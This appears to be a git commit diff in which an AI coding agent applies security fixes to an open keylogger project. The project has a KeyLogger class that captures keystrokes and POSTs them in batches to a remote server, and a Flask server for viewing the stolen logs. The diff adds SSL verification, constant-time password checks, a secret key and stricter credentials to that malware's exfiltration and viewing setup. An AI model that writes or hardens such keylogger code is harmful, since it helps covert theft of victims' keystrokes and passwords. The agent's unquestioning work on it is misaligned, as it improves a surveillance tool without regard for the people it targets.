Fix security vulnerabilities from code review

Co-authored-by: Stalin-143 <161853795+Stalin-143@users.noreply.github.com>
This commit is contained in:
copilot-swe-agent[bot]
2026-01-22 04:23:10 +00:00
parent b7753bdce5
commit d14aa433c5
3 changed files with 63 additions and 12 deletions
+1
View File
@@ -4,3 +4,4 @@ WEB_SERVER_PASSWORD=change_this_password
# Flask Configuration # Flask Configuration
FLASK_DEBUG=False FLASK_DEBUG=False
FLASK_SECRET_KEY=generate_random_secret_key_here
+23 -3
View File
@@ -32,7 +32,7 @@ GitHub: https://github.com/Stalin-143
class KeyLogger: class KeyLogger:
"""Keylogger class to handle keyboard input capture and logging.""" """Keylogger class to handle keyboard input capture and logging."""
def __init__(self, log_file_path, server_url, batch_size=10): def __init__(self, log_file_path, server_url, batch_size=10, verify_ssl=True):
""" """
Initialize the KeyLogger. Initialize the KeyLogger.
@@ -40,10 +40,12 @@ class KeyLogger:
log_file_path (str): Path to the log file log_file_path (str): Path to the log file
server_url (str): URL of the server to send logs to server_url (str): URL of the server to send logs to
batch_size (int): Number of keystrokes before sending to server batch_size (int): Number of keystrokes before sending to server
verify_ssl (bool): Whether to verify SSL certificates (default: True)
""" """
self.log_file_path = log_file_path self.log_file_path = log_file_path
self.server_url = server_url self.server_url = server_url
self.batch_size = batch_size self.batch_size = batch_size
self.verify_ssl = verify_ssl
self.buffer = [] self.buffer = []
# Ensure the log directory exists # Ensure the log directory exists
@@ -70,7 +72,12 @@ class KeyLogger:
try: try:
log_data = ''.join(self.buffer) log_data = ''.join(self.buffer)
response = requests.post(self.server_url, data={"log": log_data}, timeout=10) response = requests.post(
self.server_url,
data={"log": log_data},
timeout=10,
verify=self.verify_ssl # Verify SSL certificates by default
)
if response.status_code == 200: if response.status_code == 200:
print("Log sent successfully!") print("Log sent successfully!")
@@ -80,6 +87,9 @@ class KeyLogger:
# Clear the buffer after sending # Clear the buffer after sending
self.buffer = [] self.buffer = []
except requests.exceptions.SSLError as e:
print(f"SSL Error: {e}")
print("If using self-signed certificates, you can disable SSL verification (NOT recommended for production)")
except requests.exceptions.RequestException as e: except requests.exceptions.RequestException as e:
print(f"Error sending log: {e}") print(f"Error sending log: {e}")
@@ -186,6 +196,11 @@ def main():
type=int, type=int,
help='Override batch size from config' help='Override batch size from config'
) )
parser.add_argument(
'--no-verify-ssl',
action='store_true',
help='Disable SSL certificate verification (NOT recommended)'
)
args = parser.parse_args() args = parser.parse_args()
@@ -197,14 +212,19 @@ def main():
log_file_path = args.log_file or keylogger_config.get('log_file_path', 'logs/keylog.txt') log_file_path = args.log_file or keylogger_config.get('log_file_path', 'logs/keylog.txt')
server_url = args.server_url or keylogger_config.get('server_url', '') server_url = args.server_url or keylogger_config.get('server_url', '')
batch_size = args.batch_size or keylogger_config.get('batch_size', 10) batch_size = args.batch_size or keylogger_config.get('batch_size', 10)
verify_ssl = not args.no_verify_ssl # Default to True unless --no-verify-ssl is passed
if not server_url: if not server_url:
print("Error: Server URL not configured.") print("Error: Server URL not configured.")
print("Please set server_url in config/config.json or use --server-url argument.") print("Please set server_url in config/config.json or use --server-url argument.")
sys.exit(1) sys.exit(1)
if args.no_verify_ssl:
print("⚠️ WARNING: SSL certificate verification is DISABLED!")
print(" This is NOT recommended for production use.")
# Create and start the keylogger # Create and start the keylogger
keylogger = KeyLogger(log_file_path, server_url, batch_size) keylogger = KeyLogger(log_file_path, server_url, batch_size, verify_ssl)
keylogger.start() keylogger.start()
+39 -9
View File
@@ -7,6 +7,7 @@ For educational purposes only.
import os import os
import sys import sys
import json import json
import secrets
import argparse import argparse
from functools import wraps from functools import wraps
from flask import Flask, render_template_string, send_file, request, Response from flask import Flask, render_template_string, send_file, request, Response
@@ -25,6 +26,9 @@ Github: https://github.com/Stalin-143
app = Flask(__name__) app = Flask(__name__)
# Set a secure secret key for session management
app.secret_key = os.getenv('FLASK_SECRET_KEY', secrets.token_hex(32))
# Global configuration # Global configuration
CONFIG = { CONFIG = {
'log_file_path': 'logs/keylog.txt', 'log_file_path': 'logs/keylog.txt',
@@ -35,7 +39,7 @@ CONFIG = {
def check_auth(username, password): def check_auth(username, password):
""" """
Check if username and password are valid. Check if username and password are valid using secure comparison.
Args: Args:
username (str): Username to check username (str): Username to check
@@ -44,7 +48,10 @@ def check_auth(username, password):
Returns: Returns:
bool: True if valid, False otherwise bool: True if valid, False otherwise
""" """
return username == CONFIG['username'] and password == CONFIG['password'] # Use secrets.compare_digest for constant-time comparison to prevent timing attacks
username_match = secrets.compare_digest(username, CONFIG['username'])
password_match = secrets.compare_digest(password, CONFIG['password'])
return username_match and password_match
def authenticate(): def authenticate():
@@ -153,8 +160,19 @@ def home():
if os.path.exists(log_file_path): if os.path.exists(log_file_path):
try: try:
with open(log_file_path, 'r') as file: # Read file with size limit to prevent memory exhaustion
log_contents = file.read() MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB limit
file_size = os.path.getsize(log_file_path)
if file_size > MAX_FILE_SIZE:
# For large files, read only the last portion
with open(log_file_path, 'r') as file:
file.seek(max(0, file_size - MAX_FILE_SIZE))
log_contents = file.read()
log_contents = f"[Showing last {MAX_FILE_SIZE/1024/1024:.1f}MB of {file_size/1024/1024:.1f}MB file]\n\n" + log_contents
else:
with open(log_file_path, 'r') as file:
log_contents = file.read()
except Exception as e: except Exception as e:
log_contents = f"Error reading log file: {e}" log_contents = f"Error reading log file: {e}"
else: else:
@@ -276,12 +294,24 @@ def main():
# Update global config # Update global config
CONFIG['log_file_path'] = args.log_file or server_config.get('log_file_path', 'logs/keylog.txt') CONFIG['log_file_path'] = args.log_file or server_config.get('log_file_path', 'logs/keylog.txt')
# Load credentials from environment variables or config # Load credentials from environment variables
CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME', 'admin') CONFIG['username'] = os.getenv('WEB_SERVER_USERNAME')
CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD', 'admin') CONFIG['password'] = os.getenv('WEB_SERVER_PASSWORD')
if CONFIG['password'] == 'admin': # Validate that credentials are set
print("⚠️ WARNING: Using default password. Please set WEB_SERVER_PASSWORD environment variable.") if not CONFIG['username'] or not CONFIG['password']:
print("ERROR: Authentication credentials not set!")
print("Please set WEB_SERVER_USERNAME and WEB_SERVER_PASSWORD environment variables.")
print("Example:")
print(" export WEB_SERVER_USERNAME=admin")
print(" export WEB_SERVER_PASSWORD=your_secure_password")
print("\nOr source your .env file:")
print(" source config/.env")
sys.exit(1)
if CONFIG['password'] == 'admin' or len(CONFIG['password']) < 8:
print("⚠️ WARNING: Weak password detected!")
print(" Please use a strong password (at least 8 characters).")
# Get server settings # Get server settings
host = args.host or server_config.get('host', '0.0.0.0') host = args.host or server_config.get('host', '0.0.0.0')